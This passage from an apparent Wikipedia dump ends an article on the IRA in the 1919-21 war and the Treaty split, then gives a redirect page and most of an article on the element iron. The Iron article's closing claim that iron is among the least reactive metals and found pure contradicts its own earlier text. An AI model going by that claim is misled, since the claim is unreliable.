While most areas of the country saw some violence in 1919-1921, the brunt of the war was fought in Dublin and the southern province of [[Munster]]. In Munster, the IRA carried out a significant number of successfull actions against British troops, for instance the ambushing and killing of 18 Auxilliaries by [[Tom Barry]]'s column at Kilmicheal in west Cork in November 1920, or [[Liam Lynch (general)|Liam Lynch]]'s men killing 13 British soldiers near [[Millstreet]] early in the next year. At [[Crossbarry]] in 1921, 200 or so of Barry's men fought  a sizeable engagement with a British column of 1,200, escaping from the British encircling manouvre. In Dublin, the &quot;Squad&quot; and elements of the IRA Dublin Brigade were amalgamated into the &quot;Active Service Unit&quot;, under [[Oscar Traynor]], which tried to carry out at least three attacks on British troops a day. Usually, these consisted of shooting or grenade atacks on British patrols. Outside of Dublin and Munster, there were only isolated areas of intense activity. For instance, the [[county Longford]] IRA under [[Sean MacEoin]] carried out a number of well planned ambushes and successfully defended the village of [[Ballinalee]] in a three hour gun battle against Black and Tan reprisals. In [[Mayo]], large scale guerrilla action did break out until spring 1921, when two British forces were ambushed and mauled at [[Carrowkennedy ambush|Carrowkennedy]] and [[Tourmakeady]]. Elsewhere, fighting was more sporadic and less intense. 

In [[Belfast]], the war had a character all of it own. The area had a Protestant and Unionist majority and IRA actions were responded to with ferocious reprisals agaisnt the Catholic population, including killings and the burning of many homes. The IRA in Belfast and the north generally, was therefore mostly involved in protecting the Catholic community from [[loyalists]] and state forces. The violence in Belfast alone, which continued long after the truce in the rest of the country, killed around 450 people, mostly civilians.

In April 1921, the IRA was again re-organised, in line with the [[Dail]]'s endorsement of its actions, along the lines of a regular army. [[Divisions]] were created based on region, with commanders being given responsability, in theory, for large geographical areas. In practice,this had little effect on the localised nature of the [[guerrilla warfare]].

By the end of the war, in July 1921, the IRA was very hard pressed by the deployment of more British troops into the most active areas and a chronic shortage of arms and ammunition. It has been estimated that the IRA had only about 3000 rifles (mostly captured from the British) during the war, with a larger number of [[shotguns]] and pistols. An ambitious plan to arms from [[Italy]] in 1921 collapsed when the money did not reach the arms dealers. Towards the end of the war, some [[Thompson submachine gun]]s were imported from the [[USA]], however 450 of these were intercepted by the American authorities and the remainder only reached Irleand shortly before th Truce.

By June 1921, Collins's assessment was that the IRA was within weeks, possibly even days, of collapse. It had few weapons or ammunition left. Moreover, alomst 5000 IRA men had been imprisoned or interned and over 500 killed. Collins and Mulcahy estimated that the number of effective guerrilla fighters was down to 2-3000. However in the summer of 1921, the war was abruptly ended.

===Atrocities on both sides===
The [[Anglo-Irish War|Irish War of Independence]] was a brutal and bloody affair, with violence and acts of extreme brutality on both sides. The British sent hundreds of [[World War I]] veterans to assist the RIC. The veterans at first wore a combination of black police uniforms and tan army uniforms (because of shortages), which, according to one [[etymology]], inspired the nickname ''[[Black and Tans]]''. The brutality of the '[[Black and Tans]]' is now legendary, although the most excessive repression attributed to the Crown's forces was often that of the [[Auxiliary Division]] of the Constabulary. One of the strongest critics of the Black and Tans was King [[George V of the United Kingdom]]. When the [[Lord Mayor of Cork]] [[Terence MacSwiney]] lay dying on [[hunger strike]] the King personally intervened to try to get MacSwiney's release from gaol.

[[Image:Blacktans.jpg|300px|thumb|The Black and Tans]] 
Other critics of British policy included Sir [[Samuel Hoare]], a future British cabinet minister, who said that
:''If what is now going on in the Austrian Empire, all England would be ringing with denunciation of the tyranny of the [[House of Hapsburg|Hapsburg]]s and of denying people the right to rule themselves.''{{ref|mac5}} Typical British reprisals included the burning of houses and businesses, often with no connection to the IRA. In addition, after August 1920, the British began executing IRA prisoners. The IRA responded by killing British prisoners. In addition, suspected spies were shot and publicly dumped on roadsides. It has also been alleged that many IRA men took the opportunity to murder people against whom they had local grudges - particularly if they were [[Protestants]].

Perhaps the worst - certainly the most high profile - atrocity of the war took place in Dublin in November 1920, [[Bloody Sunday (1920)]]. In the early hours of the morning, Collin's &quot;Squad&quot; assasinated 14 British agents, some in front of their wives and families. In reprisal, British forces opened fire on a football crowd at [[Croke Park]], killing 14 civilians.

The IRA was also involved in the destruction of many stately homes in [[Munster]]. These belonged to prominent Loyalists{{ref|Loyalists}} who were aiding the Crown forces, and were burnt to discourage the British policy of destroying the homes of Republicans, suspected and actual. Many historic buildings in Ireland were destroyed during the war, most famously [[the Custom House]] in Dublin, which was disastrously attacked on de Valera's insistence, to the horror of the more militarily experienced Collins. As he feared, the destruction proved a pyrrhic victory for the Republic, with so many IRA men killed or captured that the IRA in Dublin suffered a severe blow. 

This was also a period of social upheaval in Ireland, with frequent strikes as well as other manifestations of class conflict. In this regard, the IRA acted to a large degree as an agent of social control and stability, driven by the need to preserve cross-class unity in the national struggle {{ref|Patterson}}, and on occasion being used to break strikes {{ref|Milotte}}.

==Truce and Treaty==
{{main|Anglo-Irish Treaty}}

[[David Lloyd George]], the British Prime Minister at the time, found himself under increasing pressure (both international and from within Britain) to try to salvage something from the situation. This was a complete reversal of his earlier position. He had consistently referred to the IRA as a &quot;murder gang&quot; up until then. An unexpected olive branch came from King [[George V of the United Kingdom|George V]], who, supported by [[South Africa]]n statesman General [[Jan Smuts]]{{ref|smuts}}, managed to get the British government to accept a radical re-draft of his proposed speech to the [[Northern Ireland]] parliament, meeting in [[Belfast]] City Hall in June 1921. The King had often protested about the methods employed by Crown forces to Lloyd George.

[[Image:Anglo-Irish Treaty signatures.gif|thumb|The signed last page of the Anglo-Irish Treaty]]

The speech, which called for reconciliation on all sides, changed the mood and enabled the British and Irish Republican governments to agree a truce. Negotiations on an [[Anglo-Irish Treaty]] took place in late 1921 in London. The Irish delegation was led by [[Arthur Griffith]] and [[Michael Collins (Irish leader)|Michael Collins]], as de Valera &amp;mdash; now 'President of the Republic' &amp;mdash; insisted that as head of state he could not attend, as King George was not leading the British delegation. 

Under the [[Government of Ireland Act 1920]], Ireland was partitioned, creating [[Northern Ireland]] and [[Southern Ireland]]. Under the terms of the Anglo-Irish agreement of [[6 December]] [[1921]], which ended the war (1919-1921), [[Northern Ireland]] was given the option of withdrawing from the new state, the [[Irish Free State]], and remaining part of the United Kingdom. The Northern Ireland parliament chose to do so. An [[Irish Boundary Commission]] was then set up to review the border. 

Irish leaders expected that it would so reduce Northern Ireland's size, by transferring nationalist areas to the [[Irish Free State]], as to make it economically unviable. Contrary to myth, [[partition]] was important but not the key breaking point between pro and anti-Treaty campaigners; both sides expected the Boundary Commission to emasculate Northern Ireland.

==The IRA and the Treaty==
The IRA leadership was deeply divided over the decision by the Dáil to ratify the Treaty. Of the [[IRA General Headquarters|General Headquarters]] (GHQ) staff, nine members were in favour of the Treaty while four opposed it.  
*Pro-Treaty were [[Richard Mulcahy]] ([[List_of_IRA_Chiefs_of_Staff|Chief of Staff]]); [[Eoin O'Duffy]] (Deputy Chief of Staff); [[J.J. O'Connell]] (Assistant Chief of Staff);  [[Gearóid O'Sullivan]] (Adjutant General); [[Sean McMahon]] ([[IRA_Quartermaster_General|Quartermaster General]]); [[Michael Collins (Irish leader)|Michael Collins]] (Director of Intelligence); [[Diarmuid O'Hegarty]] (Director of Organisation); [[Emmet Dalton]] (Director of Training); [[Piaras Beaslai]] (Director of Publicity). 
*Anti- Treaty were [[Rory O'Connor (Irish republican)|Rory O'Connor]] (Director of Engineering);  [[Liam Mellows]] (Director of Purchases); [[Seán Russell]] (Director of Munitions) and [[Seamus O'Donovan]] (Director of Chemicals). [[Austin Stack]], whose position on the GHQ staff was ambiguous after Brugha tried to foist him on GHQ, was also anti-Treaty.

On [[10 January]], at least three anti-Treaty members of the IRA GHQ (one account claims four); six divisional commanders and the officers commanding of the two [[Dublin]] brigades meet to formulate their anti-Treaty strategy. They argued that the IRA's allegiance was to the Dáil of the [[Irish Republic]] and the decision of the Dáil to accept the Treaty meant that the IRA no longer owed that body its allegiance. They called for the IRA to withdraw from the authority of the Dáil and to entrust the [[IRA Executive]] with control over the army. The following day, this group issued Mulcahy with a letter requesting that an Army Convention be held on [[5 February]] to discuss these proposals. The letter is signed by GHQ staff Rory O’Connor, Liam Mellows, Seán Russell, and Seamus O’Donovan, as well as [[Oscar Traynor]], [[Liam Lynch]] and other IRA commandants.  

On [[13 January]], Mulcahy replied to the anti-Treaty IRA officers to state that he would not call a convention without the authority of Dáil Eireann as the Government of the Republic. On same day, Rory O’Connor wrote to Eoin O’Duffy stating that a convention would be called regardless. O'Connor added that O’Duffy’s orders would only be obeyed by the anti-Treaty section provided they were countersigned by himself.

On [[16 January]], the first IRA division – the 2nd Southern Division – repudiated the authority of the GHQ. 

On [[18 January]], Richard Mulcahy chaired a meeting of the GHQ Staff, divisional commandants and some brigade commandants. It agreed to hold an Army Convention within two months and that, in a meantime, a 'watchdog' committee would be set up with representatives from both sides.  This committee did not meet often, however. 

A month later, on [[18 February]], [[Liam Forde]], O/C of the [[IRA Mid-Limerick Brigade]], issued a proclamation stating that: &quot;We no longer recognise the authority of the present head of the army, and renew our allegiance to the existing Irish Republic&quot;. This was the first unit of the IRA to break with the pro-Treaty government. 

On [[24 February]], the 'watchdog' committee established a month earlier met.  Rory O'Connor requested Mulcahy to secure Dáil approval to hold an army convention on [[26 March]]. Three days later on [[27 February]], the Dáil Cabinet sanctioned the Minister of Defence's request to hold an Army Convention. This decision was duly announced by IRA chief of staff, Eoin O’Duffy, who requested brigade conventions to assemble to elect delegates.

On [[5 March]], a stand-off developed between pro- and anti-IRA forces in [[Limerick]] over who would take control of a military barracks vacated by the departing British troops. A compromise was reached around the 12/[[13 March]].

Clearly concerned at developments in Ireland, and in Limerick in particular, on [[14 March]] [[Winston Churchill]] wrote to [[Michael Collins (Irish leader)|Michael Collins]], warning him that: &quot;An adverse decision by the convention of the Irish Republican Army (so called) would, however, be a very grave event at the present juncture. I presume you are quite sure there is no danger of this&quot;. The following day, [[15 March]], the Dáil cabinet decided to prohibit the holding of the Army Convention scheduled to take place on [[26 March]]. Amateur historian [[Dorothy Macardle]] claims that the banning of the convention arose because &quot;Mulcahy realised that 70 to 80 per cent of the IRA was against the Treaty and he feared that the Convention could have been used to establish a military dictatorship&quot;. However, issuing a summons under the title [[Republican Military Council]], 50 IRA senior officers including 4 GHQ staff, 5 divisional commanders and a number of brigade commandants, decided to go ahead with Convention.

On [[22 March]], Rory O'Connor holds what was to become an infamous press conference at the headquarters of the republican party ([[Cumann na Poblachta]]) in Suffolk Street, Dublin.  He declares that the army is &quot;in a dilemma, having the choice of supporting its oath to the Republic or still giving allegiance to the Dáil, which, it considers, has abandoned the Republic.  The contention of the army&quot;, he says, &quot;is that the Dáil did a thing that it had no right to do.&quot;  When asked if he would obey President [[Arthur Griffith]], he said he would not as he had violated his oath.  When asked if the army would forcibly prevent an election being held, O'Connor stated: &quot;It will have the power to do so.&quot; He went on to say that &quot;the holding of the Convention means that we repudiate the Dáil … We will set up an Executive which will issue orders to the IRA all over the country.&quot;  In reply to the question on whether it can be taken that we are going to have a military dictatorship, O’Connor said: &quot;You can take it that way if you like.&quot;

On [[23 March]], Richard Mulcahy (Minister of Defence), in a letter to General O'Duffy, orders the suspension of any officer or man who takes part in the &quot;sectional&quot; Convention.

On [[26 March]], a Convention of (predominantly) anti-Treaty delegates met in the [[Mansion House]], Dublin with between 220 and 223 delegates present. The convention passed a resolution saying that the Army &quot;shall be maintained as the Army of the Irish Republic under an Executive appointed by the Convention&quot;.  A temporary Executive of 16 members was elected headed by Liam Lynch and including Rory O’Connor, Liam Mellows and [[Ernie O'Malley]].  The convention adjourns until [[9 April]]. 

On [[28 March]], the (anti-Treaty) IRA Executive issued statement stating that Minister of Defence (Mulcahy) and the Chief-of-Staff (O’Duffy) no longer exercised any control over the IRA. In addition, it ordered an end to the recruitment to the new military and police forces of the Provisional Government.  Furthermore, it instructed all IRA units to reaffirm their allegiance to the Irish Republic on [[2 April]].

On [[9 April]], the (anti-Treaty) Army Convention reconvened in Dublin. It adopted a new constitution and elected a new 16-member Executive composed the following members: Liam Lynch (Cork), [[Frank Barrett]] (Clare), [[Liam Deasy]] (Cork), [[Tom Hales]] (Cork), [[Tom Maguire]] (Mayo), Joseph McKelvey (Tyrone), Liam Mellows (Galway), Rory O'Connor (Dublin?), [[Peadar O'Donnell]] (Donegal), [[Florrie O'Donoghue]] (Cork), [[Sean O'Hegarty]] (Cork), [[Ernie O'Malley]] (Dublin), [[Seamus Robinson]] (Tipperary), [[Joe O'Connor]] (?), [[Sean Moylan]] (Cork), and [[P.J. Ruttledge]] (Mayo). When the Executive met, it elected Liam Lynch as new IRA chief of staff, Ernie O'Malley as assistant chief of staff, and appointed a seven-member [[IRA Army Council|Army Council]]. Barry's Hotel in Gardiner Row was made (anti-Treaty) IRA headquarters.

{{main|Irish Civil War}}
The pro-treaty IRA soon became the nucleus of the new (regular) Irish National Army created by Collins and Richard Mulcahy. British pressure, and tensions between the pro- and anti-Treaty factions of the IRA, led to a bloody [[Irish civil war|civil war]], ending in the defeat of the anti-Treaty faction. On [[May 24]], 1923 [[Frank Aiken]], the (anti-treaty) IRA chief-of-staff, called a cease-fire. Many left political activity altogether, but a minority continued to insist that the new [[Irish Free State]], created by the &quot;illegitimate&quot; Treaty, was an illegitimate state.  They asserted that their &quot;IRA Army Executive&quot; was the real government of a still-existing Irish Republic.  Subsequent organisations that have used the name claim lineage from that group, which is covered in full at [[Irish Republican Army (1922-1969)]].

''For information on later organisations using the name Irish Republican Army, see the table below. For a genealogy of organisations using the name ''IRA'' after 1922, see [[List of IRAs]]'' 

{{IRAs}}

&lt;!-- THIS ARTICLE IS NOT ABOUT THE PROVISIONAL IRA.  Please do not add material about them in this article.  Please go to the relevant article --&gt;

==Footnotes==
#{{Note|Lyons}} Tom Garvin, ''1922: The Birth of Irish Democracy''  (Gill and Macmillan, 2005 edition) p.12. F.S.L Lyons, ''Ireland Since the Famine'' pp.370-1.	
#{{Note|mac1}} Dorothy MacCardle, ''The Irish Republic'' (Corgi, 1968) p.267.  
#{{Note|Mac2}} [[ibid]] p.269.
#{{Note|Mac2}} ibid p.269.
#{{Note|Mac4}} ibid p.282.
#{{note|Munster}} ibid. p.293.
#{{note|Loyalists}}The Church of Ireland Gazette recorded numerous instances of Unionists and Loyalists being shot, burnt or forced from their homes during the early 1920s. In Co Cork between 1920 and 1923 the IRA shot over 200 civilians of whom over 70 (or 36%) were Protestants: five times the percentage of Protestants in the civilian population. This was due to the historical inclination of Protestants towards loyalty to [[Britain]]. A convention of Irish Protestant Churches in Dublin in May 1922 signed a resolution placing &quot;on record&quot; that &quot;hostility to Protestants by reason of their religion has been almost, if not wholly, unknown in the twenty-six counties in which Protestants are in the minority.&quot;
#{{note|Patterson}}&quot;The Politics of Illusion: Republicanism and Socialism in Modern Ireland&quot;, Henry Patterson, Hutchinson Radius, 1989: pp. 14-15 ISBN 0091741394
#{{note|Milotte}} ''Communism in Modern Ireland: The Pursuit of the Workers' Republic since 1916'', Mike Milotte, Dublin, 1984, pp. 56-57
#{{note|smuts}}Jan Smuts was one of the best Boer commanders of the [[Second Boer War]]. In [[1914]] at the start of [[World War I]] the Boer &quot;bitter enders&quot; rose against the government in the [[Boer Revolt]] and allied themselves with their old supporter Germany. General Smuts played an important part in crushing the rebellion. The South African establishment, of which Smuts was a part, in contrast to the British establishment in 1916, was lenient to the leaders of the revolt, who were fined and spent two years in prison. After this revolt and lenient treatment the &quot;bitter enders&quot; contented themselves with working within the system. It was his experience of the Boer British rapprochement which he was able to bring to the attention of the British government as an alternative to confrontation.

==Sources==
* [[Tim Pat Coogan]], ''Michael Collins'' (Hutchinson, 1990) ISBN 0091741068
* Tim Pat Coogan, ''The Troubles'' (Arrow, 1995, 1996) ISBN 1357108642
* F.S.L. Lyons, ''Ireland Since the Famine'' 
* Dorothy MacCardle, ''The Irish Republic'' (Corgi, 1968) ISBN 55207862X
* Aengus Ó Snodaigh, [http://republican-news.org/archive/2000/[[May 11]]/11hist.html IRA Convention meets], An Phoblacht/Republican News, [[11 May]] [[2000]].
* Seamus Fox, [http://webpages.dcu.ie/~foxs/irhist/index.htm Chronology of Irish History 1919-1923].
* Brian Dooley, ''Black and Green. The Fight for Civil Rights in Northern Ireland and Black America'' (London Press, 1988)
* Michael Hopkinson, ''The Irish War of Independence'',
* Ernie O'Malley, ''On Another Man's Wound''
* ME Collins, ''Ireland 1868-1966''
* Meda Ryan, ''Liam Lynch, The Real Chief''
*Tom Barry, ''Guerrilla Days in Ireland''
*T. Ryle Dwyer, ''The Squad and the intelligence operations of Michael Collins''

==See also==
*[[Clan na Gael]] 

==External links==
*[http://college.hmco.com/history/readerscomp/mil/html/mh_025100_irishrepubli.htm Reader's Companion to Military History - Irish Republican Army (IRA)]

[[Category:Irish Republican Army|*]]
[[Category:National liberation movements]]
[[Category:Anglo-Irish War (1919-1921)]]


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[[zh:爱尔兰共和军]]</text>
    </revision>
  </page>
  <page>
    <title>Italian Rap</title>
    <id>14733</id>
    <revision>
      <id>15912269</id>
      <timestamp>2003-01-19T09:34:27Z</timestamp>
      <contributor>
        <username>Lorenzarius</username>
        <id>4308</id>
      </contributor>
      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Italian hip hop]]</text>
    </revision>
  </page>
  <page>
    <title>Iron</title>
    <id>14734</id>
    <revision>
      <id>41688009</id>
      <timestamp>2006-03-01T01:48:38Z</timestamp>
      <contributor>
        <username>Keenan Pepper</username>
        <id>124371</id>
      </contributor>
      <comment>rv unsourced claim</comment>
      <text xml:space="preserve">{{otheruses}}
{{Elementbox_header | number=26 | symbol=Fe | name=iron | left=[[manganese]] | right=[[cobalt]] | above=- | below=[[ruthenium|Ru]] | color1=#ffc0c0 | color2=black }}
{{Elementbox_series | [[transition metal]]s }}
{{Elementbox_groupperiodblock | group=8 | period=4 | block=d }}
{{Elementbox_appearance_img | Fe,26| lustrous metallic&lt;br /&gt;with a grayish tinge }}
{{Elementbox_atomicmass_gpm | [[1 E-26 kg|55.845]][[List of elements by atomic mass|(2)]] }}
{{Elementbox_econfig | &amp;#91;[[argon|Ar]]&amp;#93; 3d&lt;sup&gt;6&lt;/sup&gt; 4s&lt;sup&gt;2&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 14, 2 }}
{{Elementbox_section_physicalprop | color1=#ffc0c0 | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 7.86 }}
{{Elementbox_densityliq_gpcm3mp | 6.98 }}
{{Elementbox_meltingpoint | k=1811 | c=1538 | f=2800 }}
{{Elementbox_boilingpoint | k=3134 | c=2861 | f=5182 }}
{{Elementbox_heatfusion_kjpmol | 13.81 }}
{{Elementbox_heatvaporiz_kjpmol | 340 }}
{{Elementbox_heatcapacity_jpmolkat25 | 25.10 }}
{{Elementbox_vaporpressure_katpa | 1728 | 1890 | 2091 | 2346 | 2679 | 3132 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffc0c0 | color2=black }}
{{Elementbox_crystalstruct | [[cubic body centered]] }}
{{Elementbox_oxistates | 2, '''3''', 4, 6&lt;br /&gt;([[amphoteric]] oxide) }}
{{Elementbox_electroneg_pauling | 1.83 }}
{{Elementbox_ionizationenergies4 | 762.5 | 1561.9 | 2957 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|140]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|156]] }}
{{Elementbox_covalentradius_pm | [[1 E-10 m|125]] }}
{{Elementbox_section_miscellaneous | color1=#ffc0c0 | color2=black }}
{{Elementbox_magnetic | [[ferromagnetism|ferromagnetic]] }}
{{Elementbox_eresist_ohmmat20 | 96.1 n}}
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{{Elementbox_thermalexpansion_umpmkat25 | 11.8 }}
{{Elementbox_speedofsound_rodmpsatrt | (electrolytic)&lt;br /&gt;5120 }}
{{Elementbox_youngsmodulus_gpa | 211 }}
{{Elementbox_shearmodulus_gpa | 82 }}
{{Elementbox_bulkmodulus_gpa | 170 }}
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{{Elementbox_mohshardness | 4.0 }}
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{{Elementbox_isotopes_begin | isotopesof=iron | color1=#ffc0c0 | color2=black }}
{{Elementbox_isotopes_decay | mn=54 | sym=Fe | na=5.8% | hl=&gt;3.1&amp;times;10&lt;sup&gt;22&lt;/sup&gt;[[year|y]] | dm=2&amp;epsilon; capture |de=? | pn=54 | ps=[[chromium|Cr]] }}
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{{Elementbox_isotopes_stable | mn=56 | sym=Fe | na=91.72% | n=30 }}
{{Elementbox_isotopes_stable | mn=57 | sym=Fe | na=2.2% | n=31 }}
{{Elementbox_isotopes_stable | mn=58 | sym=Fe | na=0.28% | n=32 }}
{{Elementbox_isotopes_decay | mn=59 | sym=Fe | na=[[synthetic radioisotope|syn]] | hl=44.503 d | dm=[[Beta decay|&amp;beta;]] | de=1.565 | pn=59 | ps=[[cobalt|Co]] }}
{{Elementbox_isotopes_decay | mn=60 | sym=Fe | na=[[synthetic radioisotope|syn]] | hl=1.5E6 y | dm=[[Beta decay|&amp;beta;]]&lt;sup&gt;-&lt;/sup&gt; | de=3.978 | pn=60 | ps=[[cobalt|Co]] }}
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{{wiktionarypar|iron}}
'''Iron''' is a [[chemical element]] with the symbol '''Fe''' ([[Latin|L.]]:  Ferrum) and [[atomic number]] 26. Iron is a [[Group 8 element|group 8]] and [[Period 4 element|period 4]] [[metal]]. Iron is notable for being the final element produced by [[stellar nucleosynthesis]], and thus the heaviest element which does not require a [[supernova]] or similarly cataclysmic event for its formation.  It is therefore the most abundant heavy metal in the universe.

== Notable characteristics ==
Iron is the most abundant metal on [[Earth]], and is believed to be the tenth most abundant [[chemical element|element]] in the [[universe]].  Iron is also the second most abundant (by mass, 34.6%) element making up the Earth; the concentration of iron in the various layers of the Earth ranges from high at the inner core to about 5% in the outer crust; it is possible the Earth's inner core consists of a single iron [[crystal]] although it is more likely to be a mixture of iron and [[nickel]]; the large amount of iron in the Earth is thought to contribute to its [[Earth's magnetic field|magnetic field]].  

Iron is a [[metal]] extracted from iron ore, and is hardly ever found in the free (elemental) state.  In order to obtain elemental iron, the impurities must be removed by chemical [[reduction (chemistry)|reduction]].  Iron is used in the production of [[steel]], which is not an element but an [[alloy]], a solution of different metals (and some non-metals, particularly [[carbon]]).

Nuclei of iron have some of the highest binding energies per nucleon, superseded only by the [[nickel]] [[isotope]] &lt;sup&gt;62&lt;/sup&gt;Ni. The universally most abundant of the highly stable nucleides is, however, &lt;sup&gt;56&lt;/sup&gt;Fe. This is formed by nuclear fusion in the stars. Although a further tiny energy gain could be extracted by synthesizing &lt;sup&gt;62&lt;/sup&gt;Ni, conditions in stars are not right for this process to be favoured. When a very large star contracts at the end of its life, internal pressure and temperature rise, allowing the star to produce progressively heavier elements, despite these being less stable than the elements around mass number 60 (the &quot;iron group&quot;). This leads to a [[supernova]].

Some cosmological models with an open universe predict that there will be a phase where as a result of slow fusion and fission reactions, everything will become iron.

== Applications ==
Iron is the most used of all the metals, comprising 95 percent of all the metal tonnage produced worldwide. Its combination of low cost and high strength make it indispensable, especially in applications like [[automobile]]s, the [[hull (ship)|hull]]s of large [[ship]]s, and structural components for [[building]]s. [[Steel]] is the best known alloy of iron, and some of the forms that iron takes include:

* [[Pig iron]] has 4% &amp;ndash; 5% carbon and contains varying amounts of contaminants such as [[sulfur]], [[silicon]] and [[phosphorus]]. Its only significance is that of an intermediate step on the way from [[iron ore]] to [[cast iron]] and [[steel]].
* [[Cast iron]] contains 2% &amp;ndash; 4.0% [[carbon]] , 1% &amp;ndash; 6% [[silicon]] , and small amounts of [[manganese]]. Contaminants present in pig iron that negatively affect the material properties, such as sulfur and phosphorus, have been reduced to an acceptable level.  It has a melting point in the range of 1420&amp;ndash;1470 K, which is lower than either of its two main components, and makes it the first product to be melted when carbon and iron are heated together. Its mechanical properties vary greatly, dependent upon the form [[carbon]] takes in the alloy. 'White' cast irons contain their carbon in the form of [[cementite]], or iron carbide. This hard, brittle compound dominates the mechanical properties of white cast irons, rendering them hard, but unresistant to shock. The broken surface of a white cast iron is full of fine facets of the broken carbide, a very pale, silvery, shiny material, hence the appellation.  In 'grey' cast iron, the carbon exists free as fine flakes of [[graphite]] , and also, renders the material brittle due to the stress-raising nature of the sharp edged flakes of graphite. A newer variant of grey iron, referred to as 'ductile iron' is specially treated with trace amounts of [[magnesium]] to alter the shape of graphite to sheroids, or nodules, vastly increasing the toughness and strength of the material.
* [[Carbon steel]] contains between 0.4% and 1.5% [[carbon]], with small amounts of [[manganese]], [[sulfur]], [[phosphorus]], and [[silicon]].
* [[Wrought iron]] contains less than 0.2% carbon. It is a tough, malleable product, not as fusible as pig iron. It has a very small amount of carbon, a few tenths of a percent. If honed to an edge, it loses it quickly. Wrought iron is characterised, especially in old samples, by the presence of fine 'stringers' or filaments of [[slag]] entrapped in the metal.
* [[Alloy steel]]s contain varying amounts of carbon as well as other metals, such as [[chromium]], [[vanadium]], [[molybdenum]], [[nickel]], [[tungsten]], etc. They are used for structural purposes, as their alloy content raises their cost and necessitates justification of their use. Recent developments in ferrous metallurgy have produced a growing range of microalloyed steels, also termed 'HSLA' or high-strength, low alloy steels, containing tiny additions to produce high strengths and often spectacular toughness at minimal cost.
* [[Iron(III) oxide]]s are used in the production of [[magnetic storage]] in computers. They are often mixed with other compounds, and retain their magnetic properties in solution.

== History ==
The first signs of use of iron come from the [[Sumerian]]s and the [[Egypt]]ians, where around 4000 BC, a few items, such as the tips of spears, daggers and ornaments, were being fashioned from iron recovered from [[meteorite]]s. Because meteorites fall from the sky some linguists&lt;!--[Benvéniste 1969 cit. dep]--&gt; have conjectured that the English word ''iron'' (OE ''īsern''), which has cognates in many northern and western European languages, derives from the [[Etruscan language|Etruscan]] ''aisar'' which means &quot;the gods&quot;.

By 3500 BC to 2000 BC, increasing numbers of smelted iron objects (distinguishable from meteoric iron by the lack of nickel in the product) appear in [[Mesopotamia]], [[Anatolia]], and [[Egypt]]. However, their use appears to be ceremonial, and iron was an expensive metal, more expensive  than [[gold]]. In the [[Iliad]], weaponry is mostly [[bronze]], but iron ingots are used for trade. Some resources (see the reference ''What Caused the Iron Age?'' below) suggest that iron was being created then as a by-product of [[copper]] refining, as [[sponge iron]], and was not reproducible by the metallurgy of the time. By 1600 BC to 1200 BC, iron was used increasingly in the Middle East, but did not supplant the dominant use of [[bronze]].

[[Image:Axe of iron from Swedish Iron Age, found at Gotland, Sweden.jpg|thumb|left|250px|Axe of iron from Swedish Iron Age, found at Gotland, Sweden.]]

In the period from the 12th to 10th century BC, there was a rapid transition in the Middle East from bronze to iron tools and weapons. The critical factor in this transition does not appear to be the sudden onset of a superior ironworking technology, but instead the disruption of the supply of [[tin]].  This period of transition, which occurred at different times in different parts of the world, is the ushering in of an age of civilization called the [[Iron Age]].

[[Image:Mars symbol.png|right|50px|Symbol of Iron]]
A common [[alchemical symbol]] for iron, the metal of weapons, was that of [[Mars (god)|Mars]], the god of war.

Concurrent with the transition from bronze to iron was the discovery of ''carburization'', which was the process of adding carbon to the irons of the time. Iron was recovered as sponge iron, a mix of iron and slag with some carbon and/or carbide, which was then repeatedly hammered and folded over to free the mass of slag and oxidise out carbon content, so creating the product wrought iron. Wrought iron was very low in carbon content and was not easily hardened by quenching. The people of the Middle East found that a much harder product could be created by the long term heating of a wrought iron object in a bed of [[charcoal]], which was then quenched in water or oil. The resulting product, which had a surface of [[steel]], was harder and less brittle than the bronze it began to replace.

In China the first irons used were also meteoric iron, with archeological evidence for items made of wrought iron appearing in the northwest, near Xinjiang, in the 8th century BC. These items were made of wrought iron, created by the same processes used in the Middle East and Europe, and were thought to be imported by non-Chinese people.

In the later years of the [[Zhou Dynasty]] (ca 550 BC), a new iron manufacturing capability began because of a highly developed [[kiln]] technology. Producing [[blast furnace|blast furnaces]] capable of temperatures exceeding 1300 K, the Chinese developed the manufacture of [[cast iron|cast]], or [[pig iron]].

Iron was used in India as early as 250 BCE. The famous iron pillar in the [[Qutb complex]] in [[Delhi]] is made of very pure iron (98%) and has not rusted or eroded till this day. 

[[Image:Maramec Iron Works furnace a.jpg|thumb|right|250px|This blast furnace in eastern [[Missouri]] consumed up to 11,000 tons of ore and 16,000 [[Wood fuel#Firewood|cords]] of wood annually from 1827 to 1891.]]
If iron ores are heated with carbon to 1420&amp;ndash;1470 K, a molten liquid is formed, an [[alloy]] of about 96.5% iron and 3.5% carbon. This product is strong, can be cast into intricate shapes, but is too brittle to be worked, unless the product is ''decarburized'' to remove most of the carbon. The vast majority of Chinese iron manufacture, from the Zhou dynasty onward, was of cast iron. Iron, however, remained a pedestrian product, used by farmers for hundreds of years, and did not really affect the nobility of China until the [[Qin dynasty]] (ca 221 BC).

Cast iron development lagged in Europe, as the smelters could only achieve temperatures of about 1000 K. Through a good portion of the Middle Ages, in Western Europe, iron was still being made by the working of sponge iron into wrought iron. Some of the earliest casting of iron in Europe occurred in [[Sweden]], in two sites, Lapphyttan and Vinarhyttan, between 1150 and 1350 AD. There are suggestions by scholars that the practice may have followed the [[Mongol]]s across [[Russia]] to these sites, but there is no clear proof of this hypothesis. In any event, by the late fourteenth century, a market for cast iron goods began to form, as a demand developed for cast iron cannonballs.

Early iron [[smelting]] (as the process is called) used [[charcoal]] as both the heat source and the reducing agent.  In [[18th century]] England, wood supplies ran down and [[coke (fuel)|coke]], a fossil fuel, was used as an alternative.  This innovation by [[Abraham Darby I|Abraham Darby]] supplied the energy for the [[Industrial Revolution]].

== Occurrence ==
[[Image:IronInRocksMakeRiverRed.jpg|thumb|right|The red appearance of this water is due to iron in the rocks.]]
Iron is one of the most common elements on Earth, making up about 5% of the Earth's crust.  Most of this iron is found in various [[iron oxide]]s, such as the minerals [[hematite]], [[magnetite]], and [[taconite]].  The [[earth's core]] is believed to consist largely of a metallic iron-[[nickel]] alloy.  About 5% of the [[meteorite]]s similarly consist of iron-nickel alloy.  Although rare, these are the major form of natural metallic iron on the earth's surface.

Iron is also one of the least [[reactive]] metals, and therefore, it is sometimes found pure in [[nature]].

